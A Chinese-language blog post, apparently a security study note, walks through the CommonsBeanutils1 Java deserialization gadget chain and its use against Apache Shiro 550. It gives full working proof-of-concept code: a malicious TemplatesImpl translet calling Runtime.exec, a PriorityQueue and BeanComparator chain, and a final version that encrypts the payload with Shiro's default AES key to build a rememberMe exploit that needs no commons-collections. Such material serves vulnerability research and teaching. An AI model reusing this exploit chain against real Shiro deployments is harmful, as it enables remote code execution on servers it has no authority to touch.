当前位置: 首页 > article >正文

CommonsBeanutils与Shiro发序列化利用的学习

一、前言

前面的学习中,过了一遍cc1-cc7的利用链,在CC2的利用链中,学习了 java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素都有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序会进行比较,进而执行 java.util.Comparator 接口的 compare()方法。 那么,后续我们可以继续学习下其他利用 java.util.Comparator 对象。

二、初识 Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean) 的一些操作方法。

比如,Cat是一个最简单的 JavaBean类:

final public class Cat{
    private String name = "catalina";
    
    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name和读取、设置这个属性的方法,又称为 getter 和 setter, 其中给getter的方法名以 get开头,setter的方法以set开头,全名符合骆驼式命名法 (Camel-Case)。

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty, 让使用者可以直接调用任意JavaBean 的 getter 方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils 会自动找到 name 属性的 getter() 方法,也就是 getName, 然后调用,获得返回值。 除此之外, PropertyUtils.getProperty 还支持递归获取属性, 比如 a对象中有属性b , b对象有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c");  的方式进行递归获取。 通过这个方法,使用者可以很方便的调用任意对象的 getter, 适用于在不确定 JavaBean 是哪个类对象时使用。当然 , commons-beanutils 中还有很多类似的辅助方法,如调用 setter、拷贝属性等。

三、getter 的妙用

文章开头说过,再找过可以利用的  java.util.Comparator 对象, 在 commons-beanutils 包中就存在一个: org.apache.commons.beanutils.BeanComparator

BeanComparator 是 commons-beanutils 提供的用来比较两个 JavaBean是否相等的类,其实现了java.util.Comparator 接口

org.apache.commons.beanutils.BeanComparator.java

public int compare( final T o1, final T o2 ) {
    if ( property == null ) {
        // compare the actual objects
        return internalCompare( o1, o2 );
    }
    try {
        final Object value1 = PropertyUtils.getProperty( o1, property );
        final Object value2 = PropertyUtils.getProperty( o2, property );
        return internalCompare( value1, value2 );
    }
    catch ( final IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " +
            iae.toString() );
    }
    catch ( final InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " +
            ite.toString() );
    }
    catch ( final NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " +
            nsme.toString() );
    }
}

这个方法传入两个对象,如果 this.property 为空, 则直接比较这两个对象; 如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property属性,比较属性的值。 在上节说过 PropertyUtils.getProperty 这个方法会自动调用一个 JavaBean 的getter 方法,这个点就是 任意代码执行的关键。  有没有什么 getter 方法可以执行恶意代码呢?

在 java的类加载机制的学习_java是如何加载类的-CSDN博客 文章中,有过这么一条关于TemplatesImpl 的调用链的说明

追溯到最前面两个方法 TemplatesImpl#getOutputProperties() 、 TemplatesImpl#newTransformer()  ,这两者都是 public属性,都可以被外部调用,当初我们分析是从 TemplatesImpl#newTransformer() 开始利用调用的; 但是实际上, TemplatesImpl#getOutputProperties() 方法是调用链上的一环, 它的内部调用了 TemplatesImpl#newTransformer() , 也就是我们后面用来执行恶意字节码的地方。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.java

public  synchronized Properties getOutputProperties() {
    try{
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e){
        return null;
    }
}

而 getOutputProperties 这个名字, 是以get 开头,正符合 getter 的定义。

所以,PropertyUtils.getPropertyh( o1, property ) 这段代码,当 o1 是一个 TemplatesImpl对象,而property 的值为 outputProperties时, 系那个会自动调用 getter, 也就是   TemplatesImpl#getOutputProperties() 方法, 触发代码执行。

四、反序列化利用链构造

首先还是创建 TemplatesImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.EvilTemplatesImpl.class,getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后,实例化 BeanComparator, BeanComparator 构造函数为空时, 默认的 property 就是空:

final BeanComparator comparator = new BeanComparator();

然后用这个comparator 实例化优先队列 PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
//stub data for replacement later
queue.add(1);
queue.add(1);

我们添加了两个无害的可以比较的对象进队列中,前文说过, BeanComParator#compare() 中,如果this.property 为空,则直接比较这两个对象。 这里实际上就是对两个1 进行排序。

初始化时使用无害对象, 且 property 为空,这一系列操作是为了 初始化的时候不要出错。 然后,我们再用反射将 property 的值设置成恶意的 outputProperties, 将队列里的两个替换成 恶意的 TemplateImpl 对象:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj,obj});

构造的POC如下:

运行环境:

Java 1.8.0_71

maven依赖:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.4</version>
</dependency>
evil.java


package com.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;


public class evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");

    }
}
CommonsBeanutils1.java


package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

五、Shiro550 利用链

在之前文章TemplatesImpl 在Shiro中的利用链学习1_org.apache.shiro.io.classresolvingobjectinputstrea-CSDN博客

的学习中,用了P神的  shirodemo, 在里面提到过几个依赖库:

前4个依赖和项目本身有关,少了他们这个demo会出错或功能确实。 但是第5个依赖,commons-collections主要是为了演示漏洞。 那么,实际的场景下,目标可能并没有安装 commons-collections, 这个时候还能怎么利用这个 shiro反序列化漏洞呢?

我们将项目 的commons-collections的依赖关闭,查看项目结构,发现 commons-beanutils:1.8.3赫然在列。 也就是说 Shiro是依赖于 commonst-beanutils的。

尝试用上文构造的poc,构造一个shiro的payload,需要做以下两件事,

  • 第一是改变maven中 commons-beanutils 依赖的版本,上面用的 commons-beanutils 1.9.4, demo中的用的是 commons-beanutils 1.8.3 ,不然会报错

Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

当然,开发者也可以手工给类赋予一个serialVersionUID值,此时就能手工控制兼容性了

  • 第二,在原先的基础上,将序列化字节流重新加密下,生成shiro的payload
        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

点击发送payload,然后发现还是报错了:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator] from the thread context, current, or system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.
 

简单来说就是没找到 org.apache.collections.comparators.ComparableComparator 类, 从包名可以看出,这个类来自 commons-collections。 

commons-beanutils 本来依赖于 commons-collections ,但是在Shiro中,它的 commons-beanutils 虽然包含了 一部分 commons-collections的类, 但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections, 但反序列化利用的时候需要依赖于 commons-collections。

六、无依赖的 Shiro 发序列化利用链

我们先看下   org.apache.collections.comparators.ComparableComparator  类在哪里使用了

在 BeanComparator类的构造函数处,当没有显式传入Comparator 的情况下,则默认使用 org.apache.commons.collections.comparators.ComparableComparator  这也是报错的原因,我们poc中没有指定,导致用了commons-collections 包的 ComparableComparator类。

既然Shiro中没有org.apache.commons.collections.comparators.ComparableComparator 

就需要重新找一个类来替换,需要满足下面几个条件:

  • 实现java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,兼容性强
通过 IDEA 的功能,我们找到一个 CaseInsensitiveComparator

相关代码如下:

java.lang.String 

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    private static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID from JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpperCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }
    }

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。

并且通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 caseInsensitiveComparator 对象,用它来实例化 BeanComparator:

final BeanComparator comparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);

 后面添加的对象要是字符类型,把1 改成“1” 即可:

queue.add(“1”);
queue.add(“1”);

最终poc如下:
 

CommonsBeanutils1.java

package com.vulhub.Ser;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        //需要添加字符串
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //输出 Shiro的payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
        System.out.println(ciphertext.toString());

        //System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

其实也有用 java.util.Collections$ReverseComparator类的;

java.util.Collections.java

public static <T> Comparator<T> reverseOrder() {
        return (Comparator<T>) ReverseComparator.REVERSE_ORDER;
    }

    /**
     * @serial include
     */
    private static class ReverseComparator
        implements Comparator<Comparable<Object>>, Serializable {

        private static final long serialVersionUID = 7207038068494060240L;

        static final ReverseComparator REVERSE_ORDER
            = new ReverseComparator();

        public int compare(Comparable<Object> c1, Comparable<Object> c2) {
            return c2.compareTo(c1);
        }

        private Object readResolve() { return reverseOrder(); }
    }

通过 java.util.Collections.reverseOrder()能够取得 ReverseComparator 对象

最终构造poc效果一样。


http://www.kler.cn/a/402856.html

相关文章:

  • Elasticsearch 6.8 分析器
  • 微信分账系统供应链分润微信支付 (亲测源码)
  • 二分排序
  • 23种设计模式-模板方法(Template Method)设计模式
  • Java学习笔记--数组常见算法:数组翻转,冒泡排序,二分查找
  • pinia是什么?pinia简介快速入门,创建pinia到vue3项目中
  • Python毕业设计选题:基于python的豆瓣电影数据分析可视化系统-flask+spider
  • React Native 全栈开发实战班 - 网络与数据之 websock与服务端交互
  • Ansible一键部署Kubernetes集群
  • 2024一带一路暨金砖国家技能发展与技术创新大赛第二届企业信息系统安全赛项选拔赛(北部赛区)
  • react 如何修改弹出的modal的标题
  • 知从科技加入SOAFEE组织,携手推动汽车软件创新
  • k8s 学习笔记之 k8s 存储管理
  • 人工智能与SEO优化中的关键词策略解析
  • uniapp vue3小程序报错Cannot read property ‘__route__‘ of undefined
  • 在ubuntu下,使用Python画图,无法显示中文怎么解决
  • Linux编辑器 - vim
  • C++继承与多态之继承
  • GDPU Vue前端框架开发 单文件组件
  • C++语言之类与对象1
  • 动态IP黑白名单过滤的设计与实现(下篇原理实现)
  • 11.20 深度学习-pytorch包和属性的基础语法
  • slf4j 基于 logback 单独打印性能日志到另外一个文件
  • ubuntu下怎么设置机器程序开机自启?
  • core 不可变类型 线程安全 record
  • 杨凌职业技术学院信息工程学院“讯方技术HarmonyOS人才训练营”圆满启动!